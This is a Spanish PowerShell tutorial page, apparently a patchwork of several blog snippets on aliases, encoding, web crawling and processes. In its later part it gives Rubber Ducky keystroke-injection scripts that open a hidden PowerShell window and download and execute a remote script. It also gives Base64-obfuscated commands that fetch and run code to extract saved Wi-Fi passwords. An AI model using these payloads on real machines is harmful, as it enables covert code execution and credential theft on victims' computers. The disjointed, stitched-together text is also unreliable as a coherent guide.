Obtener el alias del cmdlet Get-Content mediante Get-Command y abrir un fichero (ofuscación en PowerShell)
1 2 | # Obtener el alias del cmdlet Get-Content mediante Get-Command y abrir un fichero (gcm g?)[0].Name + ' fichero.txt' | Invoke-Expression |
1 2 | # Obtener el alias del cmdlet Get-Content mediante Get-Command y abrir un fichero (gcm g?)[0].Name + ' fichero.txt' | Invoke-Expression |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | #Clase Enlace con información sobre el enlace: URL, tamaño y nivel de recorrido class Enlace { $URL $Long $Level Enlace($URL,$Long,$Level) { $this.URL=$URL $this.Long=$Long $this.Level=$Level } } #Iniciar array $myArray = @() $myArray += [Enlace]::new("https://www.jesusninoc.com/",1,1) #Eliminar el fichero que contiene la expresión que se va a ejecutar rm .\fichero.txt "" | Out-File -FilePath fichero.txt -NoNewline #Crear una función que permite automatizar el recorrido de una web por niveles $url="https://www.jesusninoc.com/" function insertar($numeroveces) { for($i;$i -lt $numeroveces;$i++){'foreach($links'+($i+1)+' in (Invoke-WebRequest $links'+$i+').Links.href){' | Add-Content -Path fichero.txt -NoNewline} 'if(!$myArray.URL.Contains($links'+$numeroveces+')){$myArray += [Enlace]::new($links'+$numeroveces | Add-Content -Path fichero.txt -NoNewline ',(Invoke-WebRequest $links'+$numeroveces+').RawContentLength,' | Add-Content -Path fichero.txt -NoNewline $numeroveces | Add-Content -Path fichero.txt -NoNewline ')' | Add-Content -Path fichero.txt -NoNewline ';start-sleep -s 2' | Add-Content -Path fichero.txt -NoNewline ';$links'+$numeroveces | Add-Content -Path fichero.txt -NoNewline '}' | Add-Content -Path fichero.txt -NoNewline for($j;$j -lt $numeroveces;$j++){"}" | Add-Content -Path fichero.txt -NoNewline} } #Ejecutar la función y leer la información que ha generado la función insertar(1) gc .\fichero.txt #Ejecutar la expresión generada al ejecutar la función que permite automatizar el recorrido de una web por niveles foreach($links in (Invoke-WebRequest $url).Links.href){Invoke-Expression(gc .\fichero.txt)} #Ordenar el array por tamaño $myArray | sort Long |
Resultado de la ejecución del script Ver el contenido del array con la clase Enlace
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | #################################################################### #Convertir una cadena de caracteres a binario (Char - Int - Binario) $resultado = "" $codificar = 'GC' foreach($letra in [Char[]]$codificar) { $decimal = [Int][Char]$letra $resultado += [Convert]::ToString($decimal, 2) } $resultado #################################################################### #################################################################### #Convertir una cadena de caracteres a binario (char - int - binario) ([Char[]]"GC" | %{[Convert]::ToString([Int][Char]$_, 2)}) -join "" #################################################################### #################################################################### #Convertir números en binario en caracteres (agrupando de 7 en 7 bits) (10001111000011 -split "(?<=\G\d{7})(?=.)" | %{[Char][Convert]::ToInt32($_,2)}) -join "" #################################################################### #################################################################### #Invertir un script $valor = '(10001111000011 -split "(?<=\G\d{7})(?=.)" | %{[Char][Convert]::ToInt32($_,2)}) -join ""' $invertido = $valor[$valor.Length..0]-join "" $invertido #################################################################### #################################################################### #Obtener el alias del cmdlet Get-Content mediante Get-Command (gcm g?)[0].Name #################################################################### #################################################################### #Obtener el alias del cmdlet Get-Content mediante Get-Command y abrir un fichero (gcm g?)[0].Name + ' fichero.txt' | Invoke-Expression #################################################################### |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | Alias % -> ForEach-Object Alias ? -> Where-Object Alias ac -> Add-Content Alias asnp -> Add-PSSnapin Alias cat -> Get-Content Alias cd -> Set-Location Alias CFS -> ConvertFrom-String Alias chdir -> Set-Location Alias clc -> Clear-Content Alias clear -> Clear-Host Alias clhy -> Clear-History Alias cli -> Clear-Item Alias clp -> Clear-ItemProperty Alias cls -> Clear-Host Alias clv -> Clear-Variable Alias cnsn -> Connect-PSSession Alias compare -> Compare-Object Alias copy -> Copy-Item Alias cp -> Copy-Item Alias cpi -> Copy-Item Alias cpp -> Copy-ItemProperty Alias curl -> Invoke-WebRequest Alias cvpa -> Convert-Path Alias dbp -> Disable-PSBreakpoint Alias del -> Remove-Item Alias diff -> Compare-Object Alias dir -> Get-ChildItem Alias dnsn -> Disconnect-PSSession Alias ebp -> Enable-PSBreakpoint Alias echo -> Write-Output Alias epal -> Export-Alias Alias epcsv -> Export-Csv Alias epsn -> Export-PSSession Alias erase -> Remove-Item Alias etsn -> Enter-PSSession Alias exsn -> Exit-PSSession Alias fc -> Format-Custom Alias fhx -> Format-Hex Alias fl -> Format-List Alias foreach -> ForEach-Object Alias ft -> Format-Table Alias fw -> Format-Wide Alias gal -> Get-Alias Alias gbp -> Get-PSBreakpoint Alias gc -> Get-Content Alias gci -> Get-ChildItem Alias gcm -> Get-Command Alias gcs -> Get-PSCallStack Alias gdr -> Get-PSDrive Alias ghy -> Get-History Alias gi -> Get-Item Alias gjb -> Get-Job Alias gl -> Get-Location Alias gm -> Get-Member Alias gmo -> Get-Module Alias gp -> Get-ItemProperty Alias gps -> Get-Process Alias gpv -> Get-ItemPropertyValue Alias group -> Group-Object Alias gsn -> Get-PSSession Alias gsnp -> Get-PSSnapin Alias gsv -> Get-Service Alias gu -> Get-Unique Alias gv -> Get-Variable Alias gwmi -> Get-WmiObject Alias h -> Get-History Alias history -> Get-History Alias icm -> Invoke-Command Alias iex -> Invoke-Expression Alias ihy -> Invoke-History Alias ii -> Invoke-Item Alias ipal -> Import-Alias Alias ipcsv -> Import-Csv Alias ipmo -> Import-Module Alias ipsn -> Import-PSSession Alias irm -> Invoke-RestMethod Alias ise -> powershell_ise.exe Alias iwmi -> Invoke-WMIMethod Alias iwr -> Invoke-WebRequest Alias kill -> Stop-Process Alias lp -> Out-Printer Alias ls -> Get-ChildItem Alias man -> help Alias md -> mkdir Alias measure -> Measure-Object Alias mi -> Move-Item Alias mount -> New-PSDrive Alias move -> Move-Item Alias mp -> Move-ItemProperty Alias mv -> Move-Item Alias nal -> New-Alias Alias ndr -> New-PSDrive Alias ni -> New-Item Alias nmo -> New-Module Alias npssc -> New-PSSessionConfigurationFile Alias nsn -> New-PSSession Alias nv -> New-Variable Alias ogv -> Out-GridView Alias oh -> Out-Host Alias popd -> Pop-Location Alias ps -> Get-Process Alias pushd -> Push-Location Alias pwd -> Get-Location Alias r -> Invoke-History Alias rbp -> Remove-PSBreakpoint Alias rcjb -> Receive-Job Alias rcsn -> Receive-PSSession Alias rd -> Remove-Item Alias rdr -> Remove-PSDrive Alias ren -> Rename-Item Alias ri -> Remove-Item Alias rjb -> Remove-Job Alias rm -> Remove-Item Alias rmdir -> Remove-Item Alias rmo -> Remove-Module Alias rni -> Rename-Item Alias rnp -> Rename-ItemProperty Alias rp -> Remove-ItemProperty Alias rsn -> Remove-PSSession Alias rsnp -> Remove-PSSnapin Alias rujb -> Resume-Job Alias rv -> Remove-Variable Alias rvpa -> Resolve-Path Alias rwmi -> Remove-WMIObject Alias sajb -> Start-Job Alias sal -> Set-Alias Alias saps -> Start-Process Alias sasv -> Start-Service Alias sbp -> Set-PSBreakpoint Alias sc -> Set-Content Alias select -> Select-Object Alias set -> Set-Variable Alias shcm -> Show-Command Alias si -> Set-Item Alias sl -> Set-Location Alias sleep -> Start-Sleep Alias sls -> Select-String Alias sort -> Sort-Object Alias sp -> Set-ItemProperty Alias spjb -> Stop-Job Alias spps -> Stop-Process Alias spsv -> Stop-Service Alias start -> Start-Process Alias sujb -> Suspend-Job Alias sv -> Set-Variable Alias swmi -> Set-WMIInstance Alias tee -> Tee-Object Alias trcm -> Trace-Command Alias type -> Get-Content Alias wget -> Invoke-WebRequest Alias where -> Where-Object Alias wjb -> Wait-Job Alias write -> Write-Output |
Uno de los conceptos más importantes en los sistemas operativos es el proceso que se define como un programa en ejecución. Los programas son un conjunto de archivos que están almacenados en algún dispositivo de almacenamiento (disco duro, USB, etc.) y que por sí solos no tienen ningún funcionamiento, pero cuando ese conjunto de archivos se ejecutan entonces pasan a ser un proceso. Procesos El sistema operativo se encarga de: crear y destruir procesos, suspender y reanudar procesos, y sincronizar y comunicar procesos. Información sobre procesos Cmdlet
1 | Get-Process |
Alias
1 2 | ps gps |
Parámetros y alias de los parámetros
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | Name {ProcessName} Id {PID} InputObject {} IncludeUserName {} ComputerName {Cn} Module {} FileVersionInfo {FV, FVI} Verbose {vb} Debug {db} ErrorAction {ea} WarningAction {wa} InformationAction {infa} ErrorVariable {ev} WarningVariable {wv} InformationVariable {iv} OutVariable {ov} OutBuffer {ob} PipelineVariable {pv} |
WMI
1 | Get-WmiObject -Class win32_process |
Ejemplos […]
Escribir “Hola” en Notepad
1 2 3 4 5 6 7 8 | DELAY 3000 GUI r DELAY 200 STRING notepad ENTER DELAY 200 STRING Hola ENTER |
Abrir Chrome
1 2 3 4 5 6 7 | DELAY 5000 GUI r DELAY 50 STRING chrome www.jesusninoc.com ENTER DELAY 1000 F11 |
Ejecutar el cmdlet ps
1 2 3 4 5 | DELAY 750 GUI r DELAY 750 STRING powershell Invoke-Expression ps ENTER |
Se codifica con el comando (importante que el idioma sea “es”)
1 | .\ducktools.py -e -l es .\ejecutarcmdlet.txt .\inject.bin |
Ejecutar un script descargado desde una web
1 2 3 4 5 | DELAY 750 GUI r DELAY 750 STRING powershell Invoke-Expression (Invoke-WebRequest 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt') ENTER |
Ejecutar un script descargado desde una web (versión reducida)
1 2 3 4 5 | DELAY 750 GUI r DELAY 750 STRING powershell iex (iwr 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt') ENTER |
Ejecutar un script descargado desde una web (versión reducida y sin mostrar información de la ejecución)
1 2 3 4 5 | DELAY 750 GUI r DELAY 750 STRING powershell -windowstyle hidden iex (iwr 'https://www.jesusninoc.com/wp-content/uploads/2014/12/config.txt') ENTER |
1 2 3 4 | $url="https://www.jesusninoc.com/2017/01/24/hackear-wifi-con-powershell-script-codificado-en-base64/" $result = Invoke-WebRequest $url [String]$execute=$result.AllElements | Where class -eq 'crayon-pre' | %{$_.innerText} Invoke-Expression "powershell -encodedcommand $execute" |
Opción 1 (el código codificado en Base64 es el código que se obtiene de la web)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #Código que se obtiene de la página web para sacar la contraseña del wifi $codigo=((iwr 'https://www.jesusninoc.com/2017/01/31/hackear-wifi-con-powershell-script-en-una-linea/').AllElements | Where class -eq 'crayon-pre').innerText $codigo #Código codificado en Base64 para sacar la contraseña del wifi $codigocargado=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($codigo)) $codigocargado #Ejecutar el código codificado en Base64 para sacar la contraseña del wifi Invoke-Expression "powershell -encodedcommand $codigocargado" #Ejecutar el siguiente código codificado en Base64 Invoke-Expression "powershell -encodedcommand 'KABuAGUAdABzAGgAIAB3AGwAYQBuACAAcwBoAG8AdwAgAGkAbgB0AGUAcgBmAGEAYwBlACAAfAAgAFMAZQBsAGUAYwB0AC0AUwB0AHIAaQBuAGcAIABTAFMASQBEACkAWwAwAF0AIAB8ACAAJQB7AFsAUwB0AHIAaQBuAGcAXQAkAFMAUwBJAEQAPQAkAF8 AOwAkAFMAUwBJAEQAPQAkAFMAUwBJAEQALgByAGUAcABsAGEAYwBlACgAIgBTAFMASQBEACIALAAiACIAKQAuAHIAZQBwAGwAYQBjAGUAKAAiADoAIgAsACIAIgApAC4AdAByAGkAbQAoACkAOwAkAFMAUwBJAEQAOwBuAGUAdABzAGgAIAB3AGwAYQBuAC AAcwBoAG8AdwAgAHAAcgBvAGYAaQBsAGUAIABuAGEAbQBlAD0AJABTAFMASQBEACAAawBlAHkAPQBjAGwAZQBhAHIAIAB8ACAAUwBlAGwAZQBjAHQALQBTAHQAcgBpAG4AZwAgACcAQwBvAG4AdABlAG4AaQBkAG8AIABkAGUAIABsAGEAIABjAGwAYQB2A GUAJwA7AH0A'" |
Opción 2 (el código codificado en Base64 es el cmdlet que se utiliza para la descarga del código que se obtiene de la web)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #Código que se necesita para obtener el script de la página web para sacar la contraseña del wifi $codigo="((iwr 'https://www.jesusninoc.com/2017/01/31/hackear-wifi-con-powershell-script-en-una-linea/').AllElements | Where class -eq 'crayon-pre').innerText" $codigo "######" #Código codificado en Base64 para sacar la contraseña del wifi $codigocargado=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($codigo)) $codigocargado "######" #Ejecutar el código codificado en Base64 para sacar la contraseña del wifi [String]$codigoparaejecutar=(Invoke-Expression "powershell -encodedcommand 'KAAoAGkAdwByACAAJwBoAHQAdABwADoALwAvAHcAdwB3AC4AagBlAHMAdQBzAG4AaQBuAG8AYwAuAGMAbwBtAC8AMgAwADEANwAvADAAMQAvADMAMQAvAGgAYQBjAGsAZQBhAHIALQB3AGkAZgBpAC0AYwBvAG4ALQBwAG8AdwBlAHIAcwBoAGUAbABsAC0 AcwBjAHIAaQBwAHQALQBlAG4ALQB1AG4AYQAtAGwAaQBuAGUAYQAvACcAKQAuAEEAbABsAEUAbABlAG0AZQBuAHQAcwAgAHwAIABXAGgAZQByAGUAIABjAGwAYQBzAHMAIAAtAGUAcQAgACcAYwByAGEAeQBvAG4ALQBwAHIAZQAnACkALgBpAG4AbgBlAH IAVABlAHgAdAA='") Invoke-Expression $codigoparaejecutar.Replace("Vector smash protection is enabled. ","") [String]$codigoparaejecutar=(Invoke-Expression "powershell -encodedcommand $codigocargado") Invoke-Expression $codigoparaejecutar.Replace("Vector smash protection is enabled. ","") |
1 2 3 4 | $url="https://www.jesusninoc.com/2017/01/15/hackear-wifi-con-powershell/" $result = Invoke-WebRequest $url [String]$execute=$result.AllElements | Where class -eq 'crayon-pre' | %{$_.innerText} Invoke-Expression ($execute) |
Versión reducida
1 | Invoke-Expression ((iwr "https://www.jesusninoc.com/2017/01/15/hackear-wifi-con-powershell/").AllElements | Where class -eq 'crayon-pre' | %{$_.innerText}) |
1 | Invoke-Expression ((iwr 'https://www.jesusninoc.com/2017/01/31/hackear-wifi-con-powershell-script-en-una-linea/').AllElements | Where class -eq 'crayon-pre').innerText |